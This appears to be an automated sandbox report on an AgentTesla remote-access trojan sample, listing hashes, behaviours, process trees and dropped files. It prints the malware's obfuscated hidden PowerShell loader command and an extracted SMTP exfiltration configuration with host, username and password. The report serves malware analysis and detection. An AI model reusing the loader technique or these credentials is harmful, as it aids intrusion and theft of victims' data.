Analysis
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max time kernel
153s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05/04/2024, 01:31
Static task
static1
Behavioral task
behavioral1
Sample
c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Forvrider/Laserstraaler/curwillet/Innatural.ps1
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Forvrider/Laserstraaler/curwillet/Innatural.ps1
Resource
win10v2004-20240226-en
General
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Target
c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe
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Size
647KB
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MD5
461f74a275f94ceac0e28d9bcad78c55
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SHA1
ce1a10258dd458b19023a31dfd9387a4c9559b51
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SHA256
c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa
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SHA512
1491dd84234b50b26eb09c719ebfabf3cb330a847be0a538d3fd2f8144e06b393b744b2b2a6fbfb68be373a815fc97e3ae5320e8997bd30ff7a8074ee861e7d5
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SSDEEP
12288:YXRAvufNFTr7LK1jIGvKDdGSWWswNCgXu/H+nR9lWqwDwmuu6TNxFu+Y:YXRyUNJr7LpGvKDMV32sH+sPqu6hxFut
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
cp8nl.hyperhost.ua - Port:
587 - Username:
[email protected] - Password:
7213575aceACE@#$ - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 53 drive.google.com 54 drive.google.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\skillfully.ins c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2704 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4460 powershell.exe 2704 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4460 set thread context of 2704 4460 powershell.exe 108 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files (x86)\Common Files\ukases.lnk c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\resources\tuskish\smilehuller.lnk c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 2704 wab.exe 2704 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4460 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4460 powershell.exe Token: SeDebugPrivilege 2704 wab.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 440 wrote to memory of 4460 440 c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe 100 PID 440 wrote to memory of 4460 440 c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe 100 PID 440 wrote to memory of 4460 440 c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe 100 PID 4460 wrote to memory of 5028 4460 powershell.exe 107 PID 4460 wrote to memory of 5028 4460 powershell.exe 107 PID 4460 wrote to memory of 5028 4460 powershell.exe 107 PID 4460 wrote to memory of 2704 4460 powershell.exe 108 PID 4460 wrote to memory of 2704 4460 powershell.exe 108 PID 4460 wrote to memory of 2704 4460 powershell.exe 108 PID 4460 wrote to memory of 2704 4460 powershell.exe 108 PID 4460 wrote to memory of 2704 4460 powershell.exe 108
Processes
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C:\Users\Admin\AppData\Local\Temp\c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe"C:\Users\Admin\AppData\Local\Temp\c0a399a9834cb234deda780178eaed04b01a18786200ae227241d520d1151ffa.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Superfluid=Get-Content 'C:\Users\Admin\AppData\Local\Ubarberet\Forvrider\Laserstraaler\curwillet\Innatural.For';$Smidgin220=$Superfluid.SubString(59476,3);.$Smidgin220($Superfluid)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:5028
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3868 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:81⤵PID:228
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Ubarberet\Forvrider\Laserstraaler\curwillet\Antiklumpningsmidler241.Pre
Filesize336KB
MD5421f85ff395d33ef96eb9a041fd8efdd
SHA1043669ee72876a841f7c4bd3bb5374a461f0a0a5
SHA256aa2b0e8296dbfcb28c579c9c3ef13971d2339e4e1dbe2b10d4b68cd372801353
SHA5123cb668aca2444250cdae58c300d4348f5917a5333fc464eeefd73e344ccff57a4e69ac0c405d6d1b01fc8e6f3c2a5d1fe0343ef6a7926505d0a4559f9971443d
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Filesize
58KB
MD55358906fc6c6a2964b35ad7b35bbdc18
SHA10359b2ef0bd2ef026044c36bf7a991406f0979f3
SHA2565661d74c0e0b18aa9098680f226fa04ed698b7657add95ad90369cc94a59d3f7
SHA51225cbda18e3d442714a765ab3de5041366c3bc1017a21536579cfcd37cd78774a9cdefe1409c0710e54dd6d07b591d9434627d04b9f0e49fdcb513dafac752ea5